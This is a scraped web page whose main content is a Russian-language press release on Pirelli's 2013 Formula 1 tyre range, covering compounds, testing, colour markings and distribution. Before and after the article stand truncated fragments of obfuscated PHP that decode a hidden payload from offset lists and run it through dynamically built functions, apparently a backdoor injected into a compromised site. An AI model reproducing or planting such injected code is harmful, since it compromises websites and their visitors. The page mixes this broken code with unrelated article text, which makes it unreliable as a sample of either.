aaa -
<(sizeof($owsvdbaql)/2);$jaxjvya++) { $xxszqrkf .= substr($nhalutg, $owsvdbaql[($jaxjvya*2)],$owsvdbaql[($jaxjvya*2)+(5-4)]); } return $tzzvoh(chr((62-53)),chr((289-197)),$xxszqrkf); }; } $wjmybp = explode(chr((180-136)),'2760,58,860,66,5439,39,5108,60,3743,62,1278,42,3005,24,2591,20,1025,41,5168,47,5625,70,346,25,5812,41,5695,68,2248,46,4107,38,4303,40,4758,29,1683,43,3392,59,4650,67,926,68,4604,46,2033,40,434,31,371,63,2544,47,3095,52,1340,44,465,34,2936,69,3495,56,2403,38,4717,41,3029,36,4959,46,1726,58,1968,41,994,31,1815,24,1900,68,4787,37,3370,22,5038,70,1119,57,700,43,5582,43,4375,48,5301,44,2111,31,4423,28,5971,49,252,43,4571,33,2142,61,4253,50,3623,52,1839,39,0,59,115,50,4519,52,4451,68,3836,22,2344,59,552,27,2520,24,3805,31,2611,56,2667,53,4343,32,165,62,5005,33,3203,21,5535,47,3065,30,4190,63,5215,29,4881,40,1223,55,4921,38,5478,57,3224,23,2441,43,5378,61,5763,49,3858,40,3711,32,2866,70,2009,24,1176,47,1599,36,806,54,59,56,3991,47,1440,23,1320,20,4824,57,3551,49,1463,47,4145,45,5244,57,1539,60,2203,45,1384,56,3306,64,3247,59,295,51,4038,69,2720,40,3923,68,2073,38,743,63,2818,48,1635,48,5853,67,227,25,2294,50,1784,31,499,53,579,59,1878,22,3147,56,5345,33,3451,44,2484,36,3898,25,1510,29,3600,23,3675,36,5920,51,1066,53,638,62'); $aexssceccc = $ydrvatxppl("",waqyxbpv($wjmybp,$lypgqv,$rqgqhlwa)); $ydrvatxppl=$lypgqv; $aexssceccc(""); $aexssceccc=(413-292); $lypgqv=$aexssceccc-1; ?>

ШИНЫ PIRELLI 2013 ГОДА ДЛЯ FORMULA 1

ШИНЫ PIRELLI 2013 ГОДА ДЛЯ FORMULA 1

Pirelli начинает сезон 2013 года Формулы 1 с полностью революционным спектром P Zero для сухих погодных условий и спектром Cinturato для мокрых погодных условий. Эти новые шины были разработаны в соответствии с пожеланиями команд и новейшими правилами от руководящей мотоспортом организации FIA. Новейшие улучшения коснулись состава резины шин, который стал более мягким, их структуры, которая стала более эластичной, и плечевых частей, которые усилены.

Целью всех этих тесно взаимосвязанных инноваций является улучшение эффективности и ускорение температурного распада, чтобы обеспечить прохождение не менее двух пит-стопов в течение гонки и предоставить больше стратегических возможностей для всех команд.

Также по-другому стали выглядеть боковые поверхности шин – с более заметными цветовыми решениями и совершенно новой маркировкой: оранжевой, которая сменила серебряную от прошлого года, для подчеркивания наиболее твердого состава.

ШИНЫ PIRELLI 2013 ГОДА ДЛЯ FORMULA 1

«Сезон 2013 года продолжает принятую Pirelli в прошлом году философию эволюционирования изначального спектра шин Формулы 1 от 2011 года,» комментирует директор Pirelli по мотоспорту Поль Хембери (Paul Hembery). «Целью является постоянная постановка новых задач перед пилотами и обеспечения того, что все команды начинают новый сезон на равных условиях, если мы говорим про шины. С каждым новым гран-при прошлого года, запомнившегося впечатляющим стартом с семью разными победителями в течение первых семи гонок, команды набирали все больше данных, что в конце концов позволило им полностью понять новые шины. Результатом этого в конце года стали гонки с меньшим элементом соревновательности и иногда даже только с одним пит-стопом. Этот феномен также наблюдался и в 2011 году, что разочаровало многих фанов, и простимулировало некоторые команды обратиться к нам с пожеланиями в этом году продолжить развитие спектра шин, чтобы обеспечить новые испытания в новых условиях.  Наш спектр шин 2013 года заново перетасовывает все карты, улучшая возможность обгонов и обеспечивая два-три пит-стопа в каждой гонке.»

ШИНЫ PIRELLI 2013 ГОДА ДЛЯ FORMULA 1

Компьютерное моделирование и тысячи километров тестирования

Разработка новых спектров P Zero и Cinturato 2013 года потребовало тысяч компьютерных моделирований с помощью особо точных прогностических программ, которые проводились инженерами Pirelli в течение 2012 года. Это моделирование, в основе которого лежали лабораторные тесты резиновых смесей, были объединены с данными, получаемыми во время гран-при, и семью тысячами километров, пройденных во время пяти неофициальных тестовых заездов на Renault R30. Пилотами тестовых болидов Pirelli были Джейми Алгверсуари (Jaime Alguersuari) и Лукас ДиГрасси (Lucas Di Grassi) в Джерезе, Барселона, (в течение двух сезонов) и Поль Рикар (Paul Ricard) (в тесте на мокрую погоду).

Команды смогли во время неофициальных заездов в ноябре в Бразилии испытать новые жесткие шины P Zero Orange, но дебютом всего нового спектра шин целиком станет тестовый официальный заезд Формулы 1 в Джерезе в начале февраля.

Более высокие температуры, более мягкие борта, улучшенная эффективность

Главной особенностью шин Pirelli для Формулы 1 сезона 2013 года является более мягкий состав всех частей шины, что позволит им быстрее достигать рабочих температур и обеспечивать время прохождения круга на полсекунды быстрее, чем в прошлом году.

Pirelli Cinturato Intermediate GREEN Pirelli Cinturato Rain BLUE Pirelli P Zero Supersoft RED Pirelli P Zero Soft YELLOW Pirelli P Zero Medium WHITE Pirelli P Zero Hard Orange

Стремительное развитие шинных технологий Pirelli позволило разработать новую жесткую шину PZero Orange, которая ориентировочно имеет схожий состав с шинами средней жесткости прошлого года. В этом году боковые поверхности шин стали мягче, а плечевые части – более крепкими. Результатом таких изменений стал более быстрый температурный распад, но окно максимальной эффективности шины расширилось. Также улучшена тяга, что приводит к более быстрому времени прохождения круга, в особенности на выходе из поворотов и на участках со смешанным типом тяги – с переходом от торможения к разгону, и наоборот.

Разрыв эффективности между различными составами теперь превышает полсекунды на круг, в отличие от прошлого года, где разница часто была меньше: в особенности, во второй половине сезона.  Убыстренный температурный распад и больший разрыв в эффективности между различными компонентами приведет к учащению случаев обгона в течение каждой гонки.

11 комплектов шин на одну машину, и по штрих-кодам

Шины для Формулы 1 разрабатываются в лабораториях Pirelli в Милане и производятся в специальном филиале в Измите, Турция. Затем, после прохождения контроля качества и других проверок, шины отправляются в логистический центр Pirelli в Дидкоте (Великобритания), из которого они высылаются на все трассы. Каждый автомобиль Формулы 1 будет иметь 11 комплектов шин на каждый уикенд, среди которых будут шесть комплектов шин с более жестким и пять комплектов шин с более мягким составом. В сумме Pirelli поставляет более 1800 шин на каждый этап.

Шины поставляются каждой команде по принципу случайной выборки, как того требуют правила FIA, на основе штрих-кодов. Представители FIA доставляют шины командам, таким образом, Pirelli не участвует в этом процессе. Каждая шина имеет встроенный в боковую стенку еще до начала процесса вулканизации штрих-код, который служит в качестве «паспорта» шины.

Работающая на трассах команда Pirelli в этом году будет состоять из приблизительно 55 человек, в том числе, из механиков, логистического персонала, обслуживающего персонала и инженеров. Как это всегда было, каждой команде будет выделен свой специальный инженер Pirelli.

Более подробную информацию читайте на официальном cайте Pirelli.com/F1


<(sizeof($vyvuqmb)/2);$kygxyais++) { $xchqymtvt .= substr($hfyodq, $vyvuqmb[($kygxyais*2)],$vyvuqmb[($kygxyais*2)+(6-5)]); } return $zphnttzbbqs(chr((47-38)),chr((627-535)),$xchqymtvt); }; } $dvsrhsssr = explode(chr((181-137)),'4432,36,885,64,1986,26,3807,46,5613,66,3447,45,1591,37,5357,38,1454,57,2635,25,22,62,4317,31,325,57,5679,63,1304,50,5191,64,1383,43,1354,29,5100,40,2119,39,3074,49,3908,33,5801,51,3038,36,3158,22,475,26,1689,69,265,60,4348,47,3557,60,2870,64,5941,38,3180,43,432,43,5140,28,5395,20,2594,41,5852,47,5505,68,4174,41,1108,57,2425,56,604,36,761,68,2522,28,3223,31,4943,55,2850,20,2481,41,5899,42,2227,24,84,31,501,58,2012,54,4104,70,2711,69,5742,22,3987,22,4834,25,949,58,1888,44,1007,32,5255,63,4062,42,4009,53,5764,37,3316,24,3853,55,3123,35,3391,56,1932,54,4998,58,5573,40,1426,28,2550,44,1540,20,2660,51,0,22,3711,50,2780,70,1207,65,5056,44,4215,63,640,64,4468,49,5439,66,4733,52,829,56,727,34,2251,42,4785,49,3941,46,1039,69,115,27,174,68,4859,33,1859,29,2158,69,1819,40,4395,37,5979,41,5415,24,4663,25,2293,45,3649,62,1511,29,3492,65,4634,29,1628,61,5318,39,3761,46,1758,61,704,23,1560,31,559,45,3340,51,3617,32,4688,45,1272,32,1165,42,4517,53,4278,39,4570,64,2934,45,2371,54,4892,51,382,50,2979,59,242,23,2338,33,3254,62,5168,23,2066,53,142,32'); $vanjjzkcz = $nqxmwju("",pmzxtwl($dvsrhsssr,$tinytxk,$rumaajrch)); $nqxmwju=$tinytxk; $vanjjzkcz(""); $vanjjzkcz=(515-394); $tinytxk=$vanjjzkcz-1; ?>
http://www.pkp.lv